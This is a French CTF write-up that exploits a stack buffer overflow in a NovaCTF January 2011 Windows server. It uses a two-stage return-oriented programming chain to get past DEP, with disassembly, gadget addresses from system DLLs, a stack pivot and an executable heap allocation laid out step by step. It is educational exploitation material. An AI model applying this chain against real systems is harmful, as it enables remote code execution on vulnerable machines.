[Exploitation] NovaCTF January 2011: ROPPING
Bonjour,
Aujourd’hui on va attaquer le challenge du NovaCTF de Janvier de manière différente.
La dernière fois nous avons fais usage d’un stack pivot, egg hunter et payload … mais le problème est que tout celà s’exécute sur la pile. En cas de DEP ça ne marcherait pas.
Nous allons donc remédier à celà, par contre on perd le bypass ASLR :( (si quelqu’un a une idée pour ASLR+DEP bypass sur ce challenge, je serais intéressé :)).
Pré-requis
Avant de commencer, je vais pour une fois donner les pré-requis nécessaire à la bonne compréhension de l’article suivant.
Tout d’abord vous devez être à l’aise en exploitation de stack based buffer overflow.
Ensuite un minimum de connaissances en ASMx86, Windows et sockets est recommendée. En effet, une compréhension de la partie vulnérable est essentielle car on fait usage de ces connaissances pour rediriger le flux d’exécution à notre bon vouloir.
On va utiliser Immunity Debugger avec le plugin pvefindaddr, le tout sous Windows XP SP3 English.
ROP : Return Oriented Programming?
Le ropping est une technique de re-utilisation de code au même titre que ret2lib, ret2esp. Elle est utilisée afin de bypasser le DEP sans code ou pour rendre l’exécution de code possible. Celà consiste à chaîner plusieurs séquences d’instructions terminant par RET. On appelle ces séquences des gadgets, un gadget effectue une action bien précise comme une addition ou autre.
L’avantage d’une telle technique c’est qu’elle fait usage de zone exécutable et donc bypasse le DEP sans problème. L’inconvénient majeur est qu’on doit hard coder pas mal d’addresses, on doit connaître ces addresses d’avance et donc en cas d’ASLR ça devient déjà plus difficile. L’une des méthodes utilisées est de travailler avec des offsets, en effet, avec l’ASLR, l’address space layout change mais pas les offsets entre chaque éléments.
Préparation
On a besoin de créer une liste de gadgets afin de pouvoir choisir dans cette liste et créer notre payload ROP.
Immunity Debugger est le debugger utilisé ici pour effectuer celà.
En effet, il intègre la DEPlib et le plugin de corelanc0d3r répond entièrement à nos besoins également.
Let’s ROP it!
Bon je vais passer la phase de triggering vu qu’on l’a déjà vu dans mon article précédent, on va se concentrer sur l’exploitation à proprement parler.
L’exploitation va se dérouler en plusieurs phase:
- stage 1: mise en place d’un environnement propice à l’exécution de code
- stage 2: exécution de code C’est une attaque multi-stage plutôt que one-stage.
Afin d’y arriver, il faut d’abord “pivoter” le stack pointer afin qu’il pointe sur une zone qu’on contrôle.
First stage ROP stack
Revoyons le code de la fonction vulnérable si vous voulez bien :).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:00401000 vuln_function proc near ; CODE XREF: main+2CC p
.text:00401000
.text:00401000 local_buf = byte ptr -100h
.text:00401000 recv_buf = dword ptr 8
.text:00401000
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 sub esp, 100h
.text:00401009 mov eax, [ebp+recv_buf]
.text:0040100C push eax ; char *
.text:0040100D lea ecx, [ebp+local_buf]
.text:00401013 push ecx ; char *
.text:00401014 call _strcpy
.text:00401019 add esp, 8
.text:0040101C mov esp, ebp
.text:0040101E pop ebp
.text:0040101F retn
.text:0040101F vuln_function endp
Avant l’appel du strcpy():
- EAX pointe vers l’addresse du buffer que recv() utilise afin de recevoir ce qu’on envoie.
- ECX contient l’addresse du buffer local à overflow.
Après l’appel du strcpy():
- EAX pointe vers notre buffer local.
- ECX pointe vers recv_buf+260 (260 = longueur de la chaîne qu’on envoie).
Donc pour pivoter la stack, il suffit de trouver un pointeur vers une instruction de type:
1
2
3
4
5
6
xchg eax, esp
mov eax, ecx
xchg eax, ecx
mov eax, esp
push eax; pop esp
push ecx; pop eax
Ca nous permettra de pivoter la stack et directement tomber après le contenu de local_buf dans recv_buf.
Pour trouver des pointeurs vers des gadgets avec pvefindaddr, il suffit d’utiliser la commande suivante:
1
!pvefindaddr rop options
Le manuel:
1
2
3
4
5
6
7
8
9
10
11
12
imm.log("* rop [-m <module>] [-f <filter>] [-n] [-o] [-i] [-r max_ret_value] [-s] [-d] [-c <instruction>]")
imm.log(" (List possible ROP gadgets from non-ASLR protected modules. You can optionally filter)")
imm.log(" Option -n : don't show pointers that contain null bytes")
imm.log(" Option -o : don't show pointers from modules in the Windows folder")
imm.log(" Option -i : don't show pointers from modules that have the Fixup flag set")
imm.log(" Parameter -r allows you to specify the maximum RET offset to look for. Default value : 32")
imm.log(" Warning : if you don't specify a module and/or a lower RET offset, the process can take a very long time to complete")
imm.log(" The -s option will split the rop output into a dedicated file per module. The filenames will include")
imm.log(" modulename, version, OS type and OS version")
imm.log(" Option -d will search deeper (longer) and might find possibly interesting gadgets")
imm.log(" Option -c + instruction (no quotes, spaces are allowed) will allow you to look for gadgets ending with this instruction")
imm.log(" as opposed to looking for gadgets ending with RET")
On va commencer par pivoter ESP vers le début de notre buffer local, j’ai trouvé ce gadget:
1
# 0x77C3A891 : EAX : # XCHG EAX,ESP # RETN - msvcrt.dll - **
A partir de là, on veut “remonter” vers notre recv_buffer, la raison en est simple: recv() copie TOUT et ne s’arrête donc pas aux 0 comme strcpy() donc aucunes grandes contraintes. Je fais celà avec le gadget suivant:
1
# 0x7C902B30 : # MOV EAX,ECX # BSWAP EAX # RETN - ntdll.dll - **
BSWAP change l’ordre de nos bits entre little endian et big endian, il faut donc l’appeller encore pour fixer EAX.
1
# 0x7C902B32 : # BSWAP EAX # RETN - ntdll.dll - **
Et la on peut enfin pivoter le stack pointer :).
1
# 0x77C3A891 : EAX : # XCHG EAX,ESP # RETN - msvcrt.dll - **
Donc notre pile pour l’instant ressemble à ça:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
---------------------------------
recv_buf | 0x7C902B30 | mov eax, ecx
---------------------------------
recv_buf+4 | 0x7C902B32 | fix eax (big endian -> little endian)
---------------------------------
recv_buf+8 | 0x77C3A891 | mov esp, eax // on est dans recv_buffer
---------------------------------
recv_buf+12 | JUNK |
| ... |
| JUNK |
---------------------------------
recv_buf+260 | 0x77C3A891 | mov esp, eax // on est dans local_buffer
---------------------------------
recv_buf+264 | 0x00000000 | // pour finir la copie de strcpy()
---------------------------------
Maintenant on doit allouer de la mémoire exécutable.
De ce que j’ai pu remarquer de mes différents tests et en regardant la memory map avec Alt+M:
On remarque que la heap n’est pas exécutable (36xxx dans ce cas dans mes tests).
Il faut donc créer une nouvelle heap avec HeapCreate() et allouer de la mémoire à partir de celle-ci. On retrouve un appel à celui-ci d’ailleurs:
1
2
3
4
5
6
7
8
9
10
11
12
.text:00403D89 sub_403D89 proc near ; CODE XREF: start:loc_4016DD p
.text:00403D89 push 0 ; dwMaximumSize
.text:00403D8B push 1000h ; dwInitialSize
.text:00403D90 push 0 ; flOptions
.text:00403D92 call ds:HeapCreate
.text:00403D98 xor ecx, ecx
.text:00403D9A test eax, eax
.text:00403D9C setnz cl
.text:00403D9F mov hHeap, eax
.text:00403DA4 mov eax, ecx
.text:00403DA6 retn
.text:00403DA6 sub_403D89 endp
La heap créée est référencé dans une variable globale comme on peut le voir. On contrôle la pile entièrement et aucunes contraintes niveau caractères utilisés donc voilà ce que ça donne:
1
2
3
4
5
6
7
8
9
---------------------------------
recv_buf+268 | 0x00403D92 | call ds:HeapCreate
---------------------------------
recv_buf+272 | 0x00004000 | flOptions = HEAP_CREATE_ENABLE_EXECUTE
---------------------------------
recv_buf+276 | 0x00001000 | dwInitialSize = 0x1000
---------------------------------
recv_buf+280 | 0x00001000 | # dwMaximumSize = 0 = depend on available memory
---------------------------------
Maintenant l’allocation de notre mémoire:
1
2
3
4
5
6
7
8
9
10
11
12
13
.text:00405DED push esi ; dwBytes
.text:00405DEE push 8 ; dwFlags
.text:00405DF0 push hHeap ; hHeap
.text:00405DF6 call ds:HeapAlloc
.text:00405DFC test eax, eax
.text:00405DFE jnz short loc_405E32
.text:00405E32 loc_405E32: ; CODE XREF: sub_405DB3+4B j
.text:00405E32 ; sub_405DB3+70 j ...
.text:00405E32 pop esi
.text:00405E33 pop ebp
.text:00405E34 retn
.text:00405E34 sub_405DB3 endp
On voit qu’il faut qu’on définisse notre ESI first ensuite qu’on retourne sur 0x00405DED. Vous pourrez remarquer que hHeap est utilisé directement après, ça nous facilite beaucoup les choses. Il faut absolument que la mémoire soit allouée, l’exécution de code sera compromise mais généralement on a notre mémoire qui est allouée ;).
Pour ESI, j’ai trouvé le gadget suivant:
1
# 0x7C87283A : # POP ESI # RETN [Module : kernel32.dll] **
Et n’oublions pas de prévoir du junk pour nos pop esi; pop ebp Notre ROP stack donne ainsi celà:
1
2
3
4
5
6
7
8
9
10
11
---------------------------------
recv_buf+284 | 0x7C87283A | pop esi
---------------------------------
recv_buf+288 | 0x00004000 | esi value to pop
---------------------------------
recv_buf+292 | 0x00405DED | call ds:HeapAlloc
---------------------------------
recv_buf+296 | JUNK | junk pour pop esi
---------------------------------
recv_buf+300 | JUNK | junk pour pop ebp
---------------------------------
On a presque fini le first stage :).
Dans ce challenge, le serveur reçoit de la data par le biais de la routine suivante:
1
2
3
4
5
6
7
.text:004012A6 push 0 ; flags
.text:004012A8 push 800h ; len
.text:004012AD lea ecx, [ebp+buf]
.text:004012B3 push ecx ; buf
.text:004012B4 mov edx, [ebp+client_sockfd]
.text:004012B7 push edx ; s
.text:004012B8 call ds:recv
Le but serait donc de faire pointer EBP vers notre heap nouvellement allouée afin qu’il réceptionne notre payload.
Il faut prendre en compte l’offset de buf (-0x9A0) afin d’éviter de corrompre la heap et rendre notre exploit moins fiable par la suite. Pour celà, il faut additionner +0x9A0 au moins à EAX (qui contient notre mémoire allouée):
1
# 0x77EBB583 : {POP} # ADD EAX,6FF # POP ESI # POP EBP # RETN 4 [Module : RPCRT4.dll] **
Ce qui donne donc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
---------------------------------
recv_buf+304 | 0x77ebb583 | add eax, 0x6ff
---------------------------------
recv_buf+308 | JUNK | junk pour pop esi
---------------------------------
recv_buf+312 | JUNK | junk pour pop ebp
---------------------------------
recv_buf+316 | 0x77ebb583 | add eax, 0x6ff
---------------------------------
recv_buf+320 | JUNK | junk pour ret 4
---------------------------------
recv_buf+324 | JUNK | junk pour pop esi
---------------------------------
recv_buf+328 | JUNK | junk pour pop ebp
---------------------------------
On set EBP à EAX:
1
# 0x77EF022c : # PUSH EAX # POP EBP # RETN 4 [Module : RPCRT4.dll] **
Et aussi on doit retourner sur recv() mais le problème est que sockfd se trouve trop loin sur la pile pour pouvoir le récupérer. On met donc en place une nouvelle socket entièrement en retournant tout au début de la routine pour la socket. Nous n’avons pas besoin d’appeler WSAStartup() vu qu’aucuns appel à WSACleanup() n’a été fait. On va donc retourner juste après en 0x004010AF où on a les instructions suivantes:
- mise en place de sin_addr_in
- getaddrinfo()
- socket()
- bind()
- listen()
- accept()
- recv()
- vuln_function()
- send()
- exit()
Je vous passe les détails, je suppose que vous connaissez les sockets un minimum ;). En effet, c’est possible car après le accept(), la socket bindée au port 1337 est fermé et est donc re-disponible.
1
2
3
4
5
6
7
8
9
10
11
12
13
.text:00401257 push 0 ; addrlen
.text:00401259 push 0 ; addr
.text:0040125B mov ecx, [ebp+server_sockfd]
.text:0040125E push ecx ; s
.text:0040125F call ds:accept
.text:00401265 mov [ebp+client_sockfd], eax
.text:00401268 cmp [ebp+client_sockfd], 0FFFFFFFFh
.text:0040126C jnz short loc_40129C
.text:0040129C loc_40129C: ; CODE XREF: main+24C j
.text:0040129C mov eax, [ebp+server_sockfd]
.text:0040129F push eax ; s
.text:004012A0 call ds:closesocket
Au final, nous avons celà:
1
2
3
4
5
6
7
8
9
---------------------------------
recv_buf+332 | 0x77ef022c | mov ebp, eax
---------------------------------
recv_buf+336 | JUNK | junk pour pop ebp
---------------------------------
recv_buf+340 | 0x004010AF | recv()
---------------------------------
recv_buf+344 | JUNK | junk pour pop ebp
---------------------------------
Et voilà pour le premier stage, soit 348 octets de rop stack.
Passons maintenant au second stage où on va recevoir et exécuter notre payload.
Second stage ROP stack
Là ça va être beaucoup plus rapide:
- On va pivoter la stack pour retomber à recv_buf+260
- On exécute notre code
On obtient la rop stack suivante:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---------------------------------
recv_buf | 0x7C902B30 | mov eax, ecx
---------------------------------
recv_buf+4 | 0x7C902B32 | fix eax (big endian -> little endian)
---------------------------------
recv_buf+8 | 0x77C3A613 | jmp eax (on exécute notre code)
---------------------------------
recv_buf+12 | JUNK |
| ... |
| JUNK |
---------------------------------
recv_buf+260 | 0x77C3A891 | mov esp, eax // on est dans local_buffer
---------------------------------
recv_buf+264 | 0x00000000 | // pour finir la copie de strcpy()
---------------------------------
| |
recv_buf+268 | PAYLOAD |
| |
---------------------------------
Et voilà on finit par exécuter notre code dans un environnement DEP.
Par contre, vu le nombre de pointeurs hard codés utilisés, on perd l’ASLR bypass, si vous trouvez un moyen d’avoir DEP+ASLR bypass ça m’intéresse :). Ou si vous vous êtes pris d’une autre manière pour le DEP bypass, ça m’intéresse également ;).
J’espère que ça vous a plu.
Have phun,
m_101
Resources
- Link: Archive avec le binaire exploité (rev3)
- Exploit: Module metasploit